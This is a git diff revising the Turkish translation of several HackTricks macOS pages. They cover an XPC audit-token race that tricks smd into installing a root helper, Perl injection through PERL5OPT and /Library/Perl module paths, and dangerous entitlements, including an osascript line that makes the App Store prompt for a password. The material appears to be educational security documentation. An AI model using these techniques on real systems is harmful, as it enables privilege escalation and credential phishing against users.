+Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir saldırı** yaparak **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi** bellekte **kopyalanırken**, saldırımızın **A tarafından işlenirken** **erişimi sadece B'nin isteyebileceği ayrıcalıklı eyleme** sahip olur.
{% endhint %}
-Bu, **`A`** olarak `smd` ve **`B`** olarak `diagnosticd` ile gerçekleşti. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. **Root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz.
+Bu, **`A`**'nın `smd` ve **`B`**'nin `diagnosticd` olarak olduğu bir durumdu. smb'den [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) işlevi, yeni bir ayrıcalıklı yardımcı aracı (root olarak) yüklemek için kullanılabilir. Eğer **root** olarak çalışan bir işlem **smd'ye** ulaşırsa, başka hiçbir denetim yapılmaz.
-Bu nedenle hizmet **B**, **root** olarak çalıştığından ve bir işlemi **izlemek** için kullanılabileceğinden, izleme başladığında saniyede **çoklu mesaj gönderecektir.**
+Bu nedenle, hizmet **B**, **root** olarak çalıştığı için **diagnosticd**'dir ve bir işlemi izlemek için kullanılabilir, bu nedenle izleme başladığında saniyede **çoklu mesaj gönderir.**
Saldırıyı gerçekleştirmek için:
@@ -88,49 +87,49 @@ Saldırıyı gerçekleştirmek için:
2. `diagnosticd`'ye ikincil bir **bağlantı** oluşturun. Normal prosedürün aksine, iki yeni mach port oluşturmak ve göndermek yerine, istemci portu gönderme hakkı, `smd` bağlantısıyla ilişkilendirilen **gönderme hakkının bir kopyası ile değiştirilir**.
3. Sonuç olarak, XPC mesajları `diagnosticd`'ye gönderilebilir, ancak `diagnosticd`'den gelen yanıtlar `smd`'ye yönlendirilir. `smd` için, hem kullanıcıdan hem de `diagnosticd`'den gelen mesajların aynı bağlantıdan geldiği görünmektedir.
-![Sömürü sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
-4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (muhtemelen kullanıcının kendi sürecini) izlemesini talimatlandırmayı içerir. Aynı anda, rutin 1004 mesajlarının bir seli `smd`'ye gönderilir. Buradaki amaç, ayrıcalıklı izinlerle bir araç yüklemektir.
-5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulunu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır.
+![Saldırı sürecini tasvir eden resim](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
+4. Sonraki adım, `diagnosticd`'ye seçilen bir süreci (potansiyel olarak kullanıcının kendi sürecini) izlemesini talimat vermek içerir. Aynı anda, rutin 1004 mesajlarının `smd`'ye gönderilmesi sağlanır. Buradaki amaç, ayrıcalıklı izinlere sahip bir aracı yüklemektir.
+5. Bu eylem, `handle_bless` işlevi içinde bir yarış koşulu tetikler. Zamanlama kritiktir: `xpc_connection_get_pid` işlevi çağrısının kullanıcının sürecinin PID'sini döndürmesi gerekir (çünkü ayrıcalıklı araç kullanıcının uygulama paketinde bulunur). Ancak, `xpc_connection_get_audit_token` işlevi, özellikle `connection_is_authorized` alt rutini içinde, `diagnosticd`'ye ait olan denetim belgesine başvurmalıdır.
## Varyant 2: yanıt yönlendirme
-Bir XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak yürütülmezken, yanıt mesajlarının işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen mesajların gönderilmesi için iki farklı yöntem bulunmaktadır:
+XPC (Çapraz Süreç İletişimi) ortamında, olay işleyicileri eşzamanlı olarak çalışmasa da, yanıt mesajlarının işlenmesi benzersiz bir davranışa sahiptir. Özellikle, yanıt bekleyen mesajların gönderilmesi için iki farklı yöntem bulunmaktadır:
1. **`xpc_connection_send_message_with_reply`**: Burada, XPC mesajı belirlenmiş bir sıra üzerinde alınır ve işlenir.
2. **`xpc_connection_send_message_with_reply_sync`**: Buna karşılık, bu yöntemde XPC mesajı mevcut dağıtım sırasında alınır ve işlenir.
-Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasına karşı koruma sağlamak için kilit mekanizması uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
+Bu ayrım, **yanıt paketlerinin XPC olay işleyicisinin yürütülmesiyle eşzamanlı olarak ayrıştırılmasına olanak tanır**. Özellikle, `_xpc_connection_set_creds`, denetim belgesinin kısmi üzerine yazılmasını önlemek için kilit uygular, ancak bu korumayı tüm bağlantı nesnesine genişletmez. Sonuç olarak, bir paketin ayrıştırılması ve olay işleyicisinin yürütülmesi arasındaki aralıkta denetim belgesinin değiştirilebileceği bir zafiyet oluşturur.
Bu zafiyeti sömürmek için aşağıdaki kurulum gereklidir:
* İki mach hizmeti, **`A`** ve **`B`** olarak adlandırılan, her ikisi de bir bağlantı kurabilir.
-* Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir eylem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz).
+* Hizmet **`A`**, yalnızca **`B`**'nin gerçekleştirebileceği belirli bir işlem için bir yetkilendirme kontrolü içermelidir (kullanıcının uygulaması yapamaz).
* Hizmet **`A`**, yanıt bekleyen bir mesaj göndermelidir.
* Kullanıcı, yanıt vereceği **`B`**'ye bir mesaj gönderebilir.
Sömürü süreci aşağıdaki adımları içerir:
1. Hizmet **`A`**'nın yanıt bekleyen bir mesaj göndermesini bekleyin.
-2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`**'ye bir mesaj göndermek için kullanılır.
-3. Ardından, yasaklanan eylemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
+2. Yanıtı doğrudan **`A`**'ya yanıtlamak yerine, yanıt bağlantı noktası ele geçirilir ve **`B`** hizmetine bir mesaj göndermek için kullanılır.
+3. Ardından, yasaklanan işlemi içeren bir mesaj gönderilir ve bu mesajın, **`B`**'den gelen yanıtla eşzamanlı olarak işlenmesi beklenir.
-Yukarıda açıklanan saldırı senaryosunun görsel temsili aşağıda verilmiştir:
+Yukarıda tanımlanan saldırı senaryosunun görsel temsili aşağıda verilmiştir:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
-
+
## Keşif Problemleri
* **Örneklerin Bulunmasındaki Zorluklar**: `xpc_connection_get_audit_token` kullanımı örneklerini hem statik hem de dinamik olarak aramak zorlu oldu.
-* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve aktif kullanım gerektiriyordu.
-* **Analiz Araçları**: IDA/Ghidra gibi araçlar, ulaşılabilir mach hizmetlerini incelemek için kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı.
-* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrılarını analiz etmek için betik oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
+* **Metodoloji**: `xpc_connection_get_audit_token` işlevini kancalamak için Frida kullanıldı, ancak bu yöntem, kancalanan sürece sınırlıydı ve etkin kullanım gerektiriyordu.
+* **Analiz Araçları**: Ulaşılabilir mach hizmetlerini incelemek için IDA/Ghidra gibi araçlar kullanıldı, ancak bu süreç, dyld paylaşılan önbelleği içeren çağrılar tarafından karmaşık hale getirildi ve zaman alıcıydı.
+* **Betik Sınırlamaları**: `dispatch_async` bloklarından `xpc_connection_get_audit_token` çağrıları için analiz betiği oluşturma girişimleri, blokların ayrıştırılmasındaki karmaşıklıklar ve dyld paylaşılan önbelleği ile etkileşimler nedeniyle engellendi.
## Düzeltme
* **Bildirilen Sorunlar**: `smd` içinde bulunan genel ve özel sorunları detaylandıran bir rapor Apple'a sunuldu.
* **Apple'ın Yanıtı**: Apple, `smd` içindeki sorunu `xpc_connection_get_audit_token`'ı `xpc_dictionary_get_audit_token` ile değiştirerek ele aldı.
* **Düzeltmenin Doğası**: `xpc_dictionary_get_audit_token` işlevi, denetim belgesini doğrudan alır ve alınan XPC mesajına bağlı mach mesajından denetim belgesini alır. Bununla birlikte, `xpc_connection_get_audit_token` gibi genel API'nın bir parçası değildir.
-* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesiyle uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
-* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te devam etmekte olup, bunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.
+* **Daha Kapsamlı Bir Düzeltmenin Eksikliği**: Neden Apple'ın bağlantının kaydedilen denetim belgesi ile uyuşmayan mesajları reddetmek gibi daha kapsamlı bir düzeltme uygulamadığı belirsizdir. Bazı senaryolarda (örneğin, `setuid` kullanımı) meşru denetim belgesi değişikliklerinin olasılığı bir faktör olabilir.
+* **Mevcut Durum**: Sorun, iOS 17 ve macOS 14'te hala devam etmekte olup, bu sorunu tanımlamak ve anlamak isteyenler için bir zorluk oluşturmaktadır.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
index a2a46b089..cc84a6637 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md
@@ -6,17 +6,17 @@
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* [**The PEASS Family**]'yi(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
-## `PERL5OPT` ve `PERL5LIB` çevresel değişkeni Aracılığıyla
+## `PERL5OPT` ve `PERL5LIB` Çevresel Değişkeni Aracılığıyla
-PERL5OPT çevresel değişkenini kullanarak, perl'in keyfi komutları çalıştırmasını sağlamak mümkündür.\
+Çevresel değişken PERL5OPT kullanılarak perl'in keyfi komutları çalıştırması mümkündür.\
Örneğin, bu betiği oluşturun:
{% code title="test.pl" %}
@@ -64,13 +64,13 @@ Hangi şu şekilde bir şey döndürecektir:
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30
```
-Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak betik bağımlılıklarını ekleyebilir, böylece yüksek ayrıcalıklı bir Perl betiği onu yükler.
+Bazı dönen klasörler bile mevcut değil, ancak **`/Library/Perl/5.30`** **mevcut**, **SIP** tarafından **korunmuyor** ve **SIP** tarafından **korunan klasörlerden önce** bulunuyor. Bu nedenle, birisi o klasörü kötüye kullanarak oraya betik bağımlılıkları ekleyebilir ve yüksek ayrıcalıklı bir Perl betiği onu yükleyebilir.
{% hint style="warning" %}
-Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** ve günümüzde bu **TCC uyarısı** alacağınızı unutmayın:
+Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** unutmayın ve günümüzde bu **TCC uyarısı** alacaksınız:
{% endhint %}
-
+
Örneğin, bir betik **`use File::Basename;`** içe aktarıyorsa, `/Library/Perl/5.30/File/Basename.pm` oluşturularak keyfi kod yürütülmesi mümkün olacaktır.
@@ -80,14 +80,14 @@ Ancak, o klasöre yazmak için **kök kullanıcı olmanız gerektiğini** ve gü
-AWS hacklemeyi sıfırdan kahraman olmaya öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
+AWS hacklemeyi sıfırdan kahraman olmaya öğreninhtARTE (HackTricks AWS Red Team Expert)!
-HackTricks'ı desteklemenin diğer yolları:
+HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
+* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) veya [telegram grubuna](https://t.me/peass) katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
index aa50fba9c..9e2af6f4d 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-dangerous-entitlements.md
@@ -1,92 +1,93 @@
-# macOS Tehlikeli Yetkiler ve TCC İzinleri
+# macOS Tehlikeli Yetkiler ve TCC izinleri
-AWS hacklemeyi sıfırdan kahraman olmak içinhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)öğrenin!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'ı desteklemenin diğer yolları:
-* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
-* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
-* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
+* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na bakın(https://github.com/sponsors/carlospolop)!
+* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
+* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına katkıda bulunun.
{% hint style="warning" %}
-**`com.apple`** ile başlayan yetkilendirmelerin yalnızca Apple tarafından verilebildiğini unutmayın.
+**`com.apple`** ile başlayan yetkiler üçüncü taraflar için mevcut değildir, yalnızca Apple bunları verebilir.
{% endhint %}
## Yüksek
### `com.apple.rootless.install.heritable`
-**`com.apple.rootless.install.heritable`** yetkisi, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya](macos-sip.md#com.apple.rootless.install.heritable) bakın.
+**`com.apple.rootless.install.heritable`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install.heritable).
### **`com.apple.rootless.install`**
-**`com.apple.rootless.install`** yetkisi, **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya](macos-sip.md#com.apple.rootless.install) bakın.
+**`com.apple.rootless.install`** yetkisi **SIP'yi atlamaya** izin verir. Daha fazla bilgi için [buraya bakın](macos-sip.md#com.apple.rootless.install).
-### **`com.apple.system-task-ports` (önceden `task_for_pid-allow` olarak adlandırılıyordu)**
+### **`com.apple.system-task-ports`** (önceki adıyla `task_for_pid-allow`)
-Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantısını** almayı sağlar. Daha fazla bilgi için [**buraya**](../mac-os-architecture/macos-ipc-inter-process-communication/) bakın.
+Bu yetki, çekirdek hariç olmak üzere **herhangi bir** işlem için **görev bağlantı noktasını almayı** sağlar. Daha fazla bilgi için [buraya bakın](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.get-task-allow`
-Bu yetki, **`com.apple.security.cs.debugger`** yetkisine sahip diğer işlemlerin, bu yetkiye sahip olan ikili tarafından çalıştırılan işlemin görev bağlantısını almasına ve **üzerine kod enjekte etmesine** izin verir. Daha fazla bilgi için [**buraya**](../mac-os-architecture/macos-ipc-inter-process-communication/) bakın.
+Bu yetki, diğer işlemlerin **`com.apple.security.cs.debugger`** yetkisi ile bu yetkiye sahip olan ikili tarafından çalıştırılan işlemin görev bağlantı noktasını almasına ve üzerine kod enjekte etmesine izin verir. Daha fazla bilgi için [buraya bakın](../mac-os-architecture/macos-ipc-inter-process-communication/).
### `com.apple.security.cs.debugger`
-Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantısı almak için `task_for_pid()` çağrısı yapabilir. Bununla birlikte, hata ayıklama aracı yetkisi olsa bile, hata ayıklama aracı **`Get Task Allow` yetkisine** sahip olmayan işlemlerin görev bağlantılarını **alabilir**, bu nedenle Sistem Bütünlüğü Koruması tarafından korunan işlemler. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger) bakın.
+Hata Ayıklama Aracı Yetkisi olan uygulamalar, `Get Task Allow` yetkisi `true` olarak ayarlanmış olan imzasız ve üçüncü taraf uygulamalar için geçerli bir görev bağlantı noktasını almak için `task_for_pid()` çağrısı yapabilir. Ancak, hata ayıklama aracı yetkisi olsa bile, bir hata ayıklayıcı **`Get Task Allow` yetkisine sahip olmayan** ve dolayısıyla Sistem Bütünlüğü Koruması tarafından korunan işlemlerin görev bağlantı noktalarını alamaz. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
### `com.apple.security.cs.disable-library-validation`
-Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmaksızın **çerçeveleri, eklentileri veya kitaplıkları yüklemeye** izin verir, bu nedenle bir saldırgan bazı keyfi kitaplık yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation) bakın.
+Bu yetki, Apple tarafından imzalanmış veya ana yürütülebilir dosya ile aynı Takım Kimliği ile imzalanmış olmayan çerçeveleri, eklentileri veya kütüphaneleri **yüklemeye izin verir**, bu nedenle bir saldırgan bazı keyfi kütüphane yüklemelerini kod enjekte etmek için kullanabilir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
### `com.apple.private.security.clear-library-validation`
-Bu yetki, **`com.apple.security.cs.disable-library-validation`** ile çok benzerdir, ancak **kitaplık doğrulamasını doğrudan devre dışı bırakmak** yerine, işlemin bunu devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına izin verir. Daha fazla bilgi için [**buraya**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/) bakın.
+Bu yetki, **kütüphane doğrulamasını doğrudan devre dışı bırakmak yerine**, işlemi **devre dışı bırakmak için bir `csops` sistem çağrısı yapmasına** izin verir.\
+Daha fazla bilgi için [buraya bakın](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
### `com.apple.security.cs.allow-dyld-environment-variables`
-Bu yetki, kitaplıklar ve kod enjekte etmek için kullanılabilecek **DYLD çevre değişkenlerini** kullanmaya izin verir. Daha fazla bilgi için [**buraya**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables) bakın.
+Bu yetki, kütüphane ve kod enjekte etmek için kullanılabilecek **DYLD çevresel değişkenlerini kullanmaya** izin verir. Daha fazla bilgi için [buraya bakın](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
### `com.apple.private.tcc.manager` veya `com.apple.rootless.storage`.`TCC`
-[**Bu bloga**](https://objective-see.org/blog/blog\_0x4C.html) **ve** [**bu bloga**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/) göre, bu yetkiler **TCC** veritabanını **değiştirmeye** izin verir.
+[**Bu bloga göre**](https://objective-see.org/blog/blog\_0x4C.html) **ve** [**bu bloga göre**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), bu yetkiler **TCC** veritabanını **değiştirmeye izin verir**.
### **`system.install.apple-software`** ve **`system.install.apple-software.standar-user`**
-Bu yetkiler, kullanıcının iznini sormadan **yazılım yüklemeye** izin verir, bu da bir **ayrıcalık yükseltmesi** için faydalı olabilir.
+Bu yetkiler, kullanıcıdan izin istemeden **yazılım yüklemeye** izin verir, bu da **bir ayrıcalık yükseltmesi** için faydalı olabilir.
### `com.apple.private.security.kext-management`
-Çekirdeğin bir çekirdek uzantısını yüklemesini istemek için gereken yetki.
+Çekirdeğe bir çekirdek uzantısını yüklemesi için gereken yetki.
### **`com.apple.private.icloud-account-access`**
-**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmetiyle iletişim kurmayı sağlar ve bu hizmet **iCloud belirteçleri sağlar**.
+**`com.apple.private.icloud-account-access`** yetkisi, **`com.apple.iCloudHelper`** XPC hizmeti ile iletişim kurmayı mümkün kılar ve **iCloud belgelerini sağlar**.
**iMovie** ve **Garageband** bu yetkiye sahipti.
-Bu yetkiye sahip olan uygulamadan **icloud belirteçleri almak** için yapılan saldırı hakkında daha fazla **bilgi** için konuşmaya bakın: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
+Bu yetkiden **icloud belgelerini almak** için yapılan saldırı hakkında daha fazla **bilgi** için şu konuşmayı inceleyin: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
### `com.apple.private.tcc.manager.check-by-audit-token`
-TODO: Bunu ne yapmaya izin verdiğini bilmiyorum
+TODO: Bu ne yapmaya izin verir bilmiyorum
### `com.apple.private.apfs.revert-to-snapshot`
-TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) bu, yeniden başlatmadan sonra SSV korumalı içeriği güncellemek için kullanılabileceği belirtiliyor. Nasıl olduğunu biliyorsanız lütfen bir PR gönderin!
+TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bahsedildiğine göre** bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabilir. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin!
### `com.apple.private.apfs.create-sealed-snapshot`
-TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) bu, yeniden başlatmadan sonra SSV korumalı içeriği güncellemek için kullanılabileceği belirtiliyor. Nasıl olduğunu biliyorsanız lütfen bir PR gönderin!
+TODO: [**Bu raporda**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **bahsedildiğine göre** bu, yeniden başlatmadan sonra SSV korumalı içerikleri güncellemek için kullanılabilir. Bunu nasıl yapacağınızı biliyorsanız lütfen bir PR gönderin!
### `keychain-access-groups`
-Bu yetki, uygulamanın erişebileceği **anahtarlık** gruplarının listesidir:
+Bu yetki, uygulamanın erişim sağladığı **anahtarlık** gruplarını listeler:
```xml
keychain-access-groups
@@ -99,11 +100,11 @@ Bu yetki, uygulamanın erişebileceği **anahtarlık** gruplarının listesidir:
```
### **`kTCCServiceSystemPolicyAllFiles`**
-Bu, sahip olabileceğiniz en yüksek TCC izinlerinden biri olan **Tam Disk Erişimi** izinlerini verir.
+Tam Disk Erişimi izinlerini verir, sahip olabileceğiniz TCC'nin en yüksek izinlerinden biri.
### **`kTCCServiceAppleEvents`**
-Uygulamanın, genellikle **görevleri otomatikleştirmek** için yaygın olarak kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
+Uygulamanın, genellikle **görevleri otomatikleştirmek** için kullanılan diğer uygulamalara olaylar göndermesine izin verir. Diğer uygulamaları kontrol ederek, bu diğer uygulamalara verilen izinleri kötüye kullanabilir.
Kullanıcıdan şifresini istemelerini sağlamak gibi:
@@ -113,48 +114,48 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
```
{% endcode %}
-Veya onları **keyfi eylemler** gerçekleştirmeye zorlamak.
+Veya onları **keyfi eylemler gerçekleştirmeye** zorlamak.
### **`kTCCServiceEndpointSecurityClient`**
-Kullanıcıların TCC veritabanını **yazmasına** izin verir.
+Diğer izinler arasında, **kullanıcıların TCC veritabanına yazma** izni verir.
### **`kTCCServiceSystemPolicySysAdminFiles`**
-Kullanıcının ev klasörü yolunu değiştiren bir kullanıcının **`NFSHomeDirectory`** özniteliğini **değiştirmesine** izin verir ve böylece TCC'yi **atlamasına** olanak tanır.
+Bir kullanıcının ev klasörü yolunu değiştiren ve dolayısıyla **TCC'yi atlamasına izin veren** bir kullanıcı **`NFSHomeDirectory`** özniteliğini **değiştirmeye** izin verir.
### **`kTCCServiceSystemPolicyAppBundles`**
-Varsayılan olarak **yasaklanmış olan** uygulama paketi içindeki dosyaları değiştirmeye izin verir.
